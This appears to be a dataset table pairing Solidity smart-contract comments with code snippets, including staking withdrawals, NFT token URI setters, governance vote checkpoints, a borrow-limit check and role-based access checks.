| 8,365 |
33 | // Update the staker balance in the staking window | stakeInfo.amount = stakeInfo.amount.sub(stakeAmount);
bonusAmount = stakeInfo.bonusAmount;
stakeInfo.bonusAmount = 0;
| stakeInfo.amount = stakeInfo.amount.sub(stakeAmount);
bonusAmount = stakeInfo.bonusAmount;
stakeInfo.bonusAmount = 0;
| 40,315 |
6 | // extend tokenURI parameters for an existing claim at instanceId.Must have NONE StorageProtocol creatorContractAddressthe creator contract corresponding to the claim instanceIdthe claim instanceId for the creator contract locationChunk the additional location chunk / | function extendTokenURI(address creatorContractAddress, uint256 instanceId, string calldata locationChunk) external;
| function extendTokenURI(address creatorContractAddress, uint256 instanceId, string calldata locationChunk) external;
| 23,098 |
234 | // Internal function to set the token URI for a given token. Reverts if the token ID does not exist. TIP: If all token IDs share a prefix (for example, if your URIs look like | * `https://api.myproject.com/token/<id>`), use {_setBaseURI} to store
* it and save gas.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
... | * `https://api.myproject.com/token/<id>`), use {_setBaseURI} to store
* it and save gas.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
... | 46,290 |
63 | // Determine the prior number of votes for an `account` as of a block number./Block number must be a finalized block or else this function will revert to prevent misinformation./account The address of the `account` to check./blockNumber The block number to get the vote balance at./ return The number of votes the `accou... | function getPriorVotes(address account, uint256 blockNumber) external view returns (uint256) {
require(blockNumber < block.number, 'Meowshi::getPriorVotes: not yet determined');
uint256 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {return 0;}
// @dev First check mos... | function getPriorVotes(address account, uint256 blockNumber) external view returns (uint256) {
require(blockNumber < block.number, 'Meowshi::getPriorVotes: not yet determined');
uint256 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {return 0;}
// @dev First check mos... | 27,612 |
87 | // Check min borrow for this user for this asset | allowed = comptroller.borrowWithinLimits(
address(this),
vars.accountBorrowsNew
);
if (allowed != 0) {
return
failOpaque(
Error.COMPTROLLER_REJECTION,
FailureInfo.BORROW_COMPTROLLER_REJECTION,
... | allowed = comptroller.borrowWithinLimits(
address(this),
vars.accountBorrowsNew
);
if (allowed != 0) {
return
failOpaque(
Error.COMPTROLLER_REJECTION,
FailureInfo.BORROW_COMPTROLLER_REJECTION,
... | 18,285 |
25 | // if the position is a short, do not charge a fee | if (!_isLong) { return false; }
| if (!_isLong) { return false; }
| 18,808 |
202 | // Returns the disabled status of a given whitelist.// return disabled A flag denoting if the given whitelist is disabled. | function disabled() external view returns (bool);
| function disabled() external view returns (bool);
| 15,242 |
21 | // hasRole | require(hasRole(MINTER_ROLE, msg.sender), "Only authorized minters can withdraw");
| require(hasRole(MINTER_ROLE, msg.sender), "Only authorized minters can withdraw");
| 33,269 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.